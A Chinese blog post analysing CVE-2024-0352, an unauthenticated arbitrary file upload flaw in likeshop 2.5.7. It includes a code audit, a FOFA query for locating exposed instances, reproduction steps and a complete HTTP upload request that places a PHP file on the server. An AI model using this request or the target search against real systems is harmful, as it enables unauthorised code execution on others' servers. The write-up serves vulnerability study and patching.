CVE-2024-0352 likeshop v2.5.7文件上传漏洞分析

本次的漏洞研究基于thinkPHP开发开的一款项目.....

漏洞描述

Likeshop是Likeshop开源的一个社交商务策略的完整解决方案,开源免费版基于thinkPHP开发。Likeshop 2.5.7.20210311及之前版本存在代码问题漏洞,该漏洞源于文件server/application/api/controller/File.php的参数file会导致不受限制的上传。

fofa查询语句

icon_hash="874152924" && body="/pc/"

环境搭建

下载https://github.com/likeshop-github/likeshop/releases/tag/2.5.7

漏洞代码审计

server\application\api\controller的File.php文件,路由/api/file/formimage

进入userFormImage方法,FileServer::userFormImages()

107行 创建实例StorageDriver 后调用setUploadFile方法,跟过去

其实调用的是引擎的setUplloadFile方法,是那个引擎呢!

分别为阿里云存储引擎 (OSS) 本地文件驱动 腾讯云存储引擎 (COS) 七牛云存储引擎 存储引擎抽象类(那三个全部继承这个类)

setUploadFile方法只在存储引擎抽象类中存在,因此分析server.php下的setUploadFile方法

我们重点关注上传文件名,文件内容。代码中没有任何过滤的函数,

查看109行 StorageDriver->upload 方法

我们挨个分析这几个引擎类对upload的实现

local类,直接move 没有任何过滤

Aliyun类

剩下的引擎类就不分析了,基本都没有做文件名的后缀检测。

文件上传漏洞可成功利用

后续修复

在修复的版本中,Server.php中进行了文件名的限制

这里校验文件处new了一个Upload对象,该对象内容如下

漏洞复现

进入环境页面设置好sql连接

 等待安装

注册一个账号

登录账号后点击我的 设置自己信息

这里其实是有头像的,点击上传头像

抓包改变content-type 打入payload

实际测试没有cookie 没有token也可成功访问该接口

访问payload文件

payload成功执行 , 漏洞复现成功

附赠payload

POST /api/file/formimage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: multipart/form-data; boundary=---------------------------348900489633202294591557761619
Content-Length: 248

-----------------------------348900489633202294591557761619
Content-Disposition: form-data; name="file"; filename="b.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------348900489633202294591557761619--

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值